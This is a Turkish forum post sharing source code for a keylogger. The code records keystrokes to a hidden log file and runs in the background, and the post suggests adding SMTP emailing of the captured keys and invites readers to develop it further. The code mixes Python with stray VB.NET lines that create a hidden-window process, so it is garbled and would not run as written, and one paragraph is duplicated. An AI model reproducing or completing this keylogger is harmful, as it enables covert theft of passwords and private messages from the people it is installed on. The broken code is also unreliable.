Arka planda çalışıp klavyeye bastığınız tuşları oluşturduğu log dosyasına kaydediyor.
SMTP ile belli bir kelimeyi geçince mail olarak atılabilir geliştirilmeye açık isteyen geliştirip forumda paylaşırsa herkes yararlanabilir.
SMTP ile belli bir kelimeyi geçince mail olarak atılabilir geliştirilmeye açık isteyen geliştirip forumda paylaşırsa herkes yararlanabilir.
Kod:
import pynput
from pynput.keyboard import Key, Listener
Dimp As New System.Diagnostics.Process()
p.StartInfo.FileName = "C:\Users\" "\Desktop\Keylogger "
p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
p.StartInfo.CreateNoWindow = True
count = 0
keys = []
def on_press(key):
global count, keys
count += 1
print("{0} pressed".format(key))
keys.append(key)
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(key):
with open("log.txt", "a", encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
def on_release(key):
if key == Key.esc:
print("exit")
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Son düzenleme:





